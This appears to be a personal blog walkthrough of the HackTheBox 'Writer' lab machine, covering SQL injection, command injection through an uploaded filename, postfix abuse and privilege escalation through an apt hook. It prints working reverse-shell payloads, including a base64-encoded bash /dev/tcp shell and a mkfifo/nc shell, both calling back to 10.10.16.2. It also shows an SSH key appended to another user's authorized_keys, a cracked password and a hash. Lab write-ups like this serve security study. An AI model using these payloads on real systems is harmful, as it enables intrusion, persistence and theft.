HackTheBox - Writer

Morten Hansen • January 30, 2022

Writer

NMAP Smb ports are open browser-ports are open

Gobuster Finds sites like static and aministrative

SQLMAP find username, hash and also reads files. Lets ut read source code and how the site source code looks like.

<ip>/administrative lets ut log in and edit blogposts upload a file with name.

shell.jpg;`echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yLzQ0NDQgMD4mMQo=|base64 -d|bash`;

Payload = /bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.2/4444 0>&1"

then edit post again and click save, while intercepting it with burpsuite. Edit the image-url to contain direct path to our file like:

file:///var/www/writer.htb/writer/..../something.jpg; payload and forward it. Because of the source-code we know the site is run with python and that it reads the filename in an os.system() command.

This will run as code and create a shell if listener with nc is set up. Inside the shell we look through the writer2 map and finds a hash inside the mysql-server.

pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A= NULL 1 kyle kyle@writer.htb 1 1 2021-05

Crack it with hashcat and we get the password marcoantonio.

Can use enum4linux to look through smb.

Try against smb, users kyle and john, ssh.

SSH worked: flag: 997b385ebdb90b8f26ff1fe8bdc9f7ae

User 2 inside load pspy64 and watch process. See it runs postfix and with group set to filter, which is ut, and user as root.

This means we can send files that will execute on the recipents home.

create an email script in tmp.

#!/usr/bin/python3 
import smtplib 
from email.message import EmailMessage 

with smtplib.SMTP('127.0.0.1:25') as smtp_server:
    message = EmailMessage() 
    message.set_content('Test') 
    message['Subject'] = "Fjas" 
    message['From'] = 'kyle@writer.htb' 
    message['To'] = 'john@writer.htb'     
    smtp_server.send_message(message) 
    smtp_server.quit()

Then edit the disclaimer file in /etc/postfix/disclaimer. Create a bash script like:

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDjqFz8cYRIJmmhAGCEWGGvyUZdk3DRdw5uFkDHYXBCklDy/KDaNJSPpr/yc/DzdRsuDQIqE1jrrfqxZwztkSjIIg0THd/hrQ2WZh/sCE/H74CPHp0GUeB/HB6EOp8aHIHBecsK0Y1qiwiYGI5zgVeC01F3sqkHZSzHtyJRoqaHHipquwgQFYM6bprLpiiZnCk2ACw3V0bshs8J/032WUZ2cUWZNpBMlxwZXJ6OaZ4MF1abYISo4P35b5Pehza4Fx55LE+nEtc1m1kmnSqtVkPyB5f4Txv1D0nG2VH/sEpE6W4ern4ajH01p05JjUHw01mJObeGfVGoaPf5pCBSSNolENLbhzBBmnOaWAMfGJo88PP9YRuB6vc29Q95UFZEJX2+p26LAJFsphJ04w0YapAisBCtFp++ruRi0NvkBKSlI5WQoYdIIMLLRQp4WhKPkdUTEj3yjdflFalHnIEh0ryc8aVahBvVmBBGHLrEQKlyjHxDg2YDtGcZQEu6pm8a5XU= kali@kali" >> /home/john/.ssh/authorized_keys

Then fetch his id_rsa

SUDO

-rwsr-sr-x 1 daemon daemon 55K Nov 12  2018 /usr/bin/at  --->  RTru64_UNIX_4.0g(CVE-2002-1614)

-rwsr-xr-x 1 root root 31K May 26 11:50 /usr/bin/pkexec  --->  Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)

Group has access to /etc/apt/apt.conf.d pspy64 shows us that apt update runs regulary and therefore by adding

echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.2 4444 >/tmp/f"};' > pwn

We can set up a listener and get a reverse shell because of cronjobs every 2 minutes.